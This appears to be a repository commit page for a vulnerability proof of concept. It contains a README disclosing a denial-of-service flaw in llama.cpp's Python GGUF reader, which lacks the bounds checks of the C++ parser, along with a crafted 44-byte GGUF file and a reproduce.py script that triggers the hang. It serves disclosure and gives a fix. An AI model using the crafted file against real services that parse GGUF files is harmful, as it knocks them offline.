loowr commited on
Commit
2d8d3e7
·
verified ·
1 Parent(s): 744698c

Initial commit: GGUF Python reader DoS PoC

Browse files
Files changed (3) hide show
  1. README.md +56 -0
  2. malicious_gguf.gguf +0 -0
  3. reproduce.py +44 -0
README.md ADDED
@@ -0,0 +1,56 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ language: en
4
+ tags:
5
+ - security
6
+ - poc
7
+ - gguf
8
+ - dos
9
+ - llama.cpp
10
+ ---
11
+
12
+ # GGUF Python Reader -- Missing Bounds Checks (DoS)
13
+
14
+ ## Summary
15
+
16
+ The Python GGUF reader in llama.cpp's `gguf-py` library lacks the input
17
+ validation bounds that the C++ implementation has, allowing a maliciously
18
+ crafted GGUF file to cause denial of service through excessive memory
19
+ allocation or infinite looping.
20
+
21
+ The C++ parser caps string lengths and array counts at 1 GiB
22
+ (GGUF_MAX_STRING_LENGTH, GGUF_MAX_ARRAY_ELEMENTS). The Python parser
23
+ has no equivalent checks.
24
+
25
+ ## Affected code
26
+
27
+ - Repository: https://github.com/ggerganov/llama.cpp
28
+ - File: `gguf-py/gguf/gguf_reader.py`
29
+ - Commit tested: `aa50b2c2ae91326d5aad956ceeb015d1d48e626b`
30
+
31
+ ## PoC file
32
+
33
+ `malicious_gguf.gguf` -- a 44-byte file that declares 100 million key-value
34
+ pairs in its header, causing the parser to iterate endlessly.
35
+
36
+ ## Reproduction
37
+
38
+ ```bash
39
+ pip install gguf numpy
40
+ python reproduce.py
41
+ ```
42
+
43
+ Expected: the script hangs indefinitely trying to parse a 44-byte file.
44
+
45
+ ## Impact
46
+
47
+ Any Python application using `GGUFReader` on untrusted GGUF files is
48
+ affected. This includes CLI tools shipped with gguf-py and any application
49
+ that loads GGUF models from user-supplied paths.
50
+
51
+ ## Fix
52
+
53
+ Add the bounds checks from the C++ implementation to the Python reader:
54
+ - Maximum string length
55
+ - Maximum array element count
56
+ - KV pair and tensor count validation before iteration
malicious_gguf.gguf ADDED
Binary file (44 Bytes). View file
 
reproduce.py ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: GGUF Python reader DoS via missing bounds checks.
3
+
4
+ A 44-byte malicious GGUF file declares 100 million key-value pairs,
5
+ causing GGUFReader to hang indefinitely.
6
+
7
+ Usage: python reproduce.py
8
+ """
9
+ import sys
10
+ import time
11
+ import os
12
+
13
+ # Add gguf-py to path if installed from source
14
+ # sys.path.insert(0, '/path/to/llama.cpp/gguf-py')
15
+
16
+ try:
17
+ from gguf.gguf_reader import GGUFReader
18
+ except ImportError:
19
+ print("Error: gguf package not installed. Install with: pip install gguf")
20
+ sys.exit(1)
21
+
22
+ # Path to the malicious GGUF file (same directory as this script)
23
+ poc_file = os.path.join(os.path.dirname(__file__), "malicious_gguf.gguf")
24
+
25
+ if not os.path.exists(poc_file):
26
+ print(f"Error: PoC file not found at {poc_file}")
27
+ sys.exit(1)
28
+
29
+ print(f"File size: {os.path.getsize(poc_file)} bytes")
30
+ print("Attempting to parse... (this will hang if vulnerable)")
31
+ print("Press Ctrl+C to abort after a few seconds.\n")
32
+
33
+ start = time.time()
34
+ try:
35
+ reader = GGUFReader(poc_file)
36
+ elapsed = time.time() - start
37
+ print(f"Parsed successfully in {elapsed:.1f}s (unexpected -- may be patched)")
38
+ print(f"Fields: {len(reader.fields)}")
39
+ except MemoryError as e:
40
+ elapsed = time.time() - start
41
+ print(f"MemoryError after {elapsed:.1f}s: {e}")
42
+ except Exception as e:
43
+ elapsed = time.time() - start
44
+ print(f"Error after {elapsed:.1f}s: {type(e).__name__}: {e}")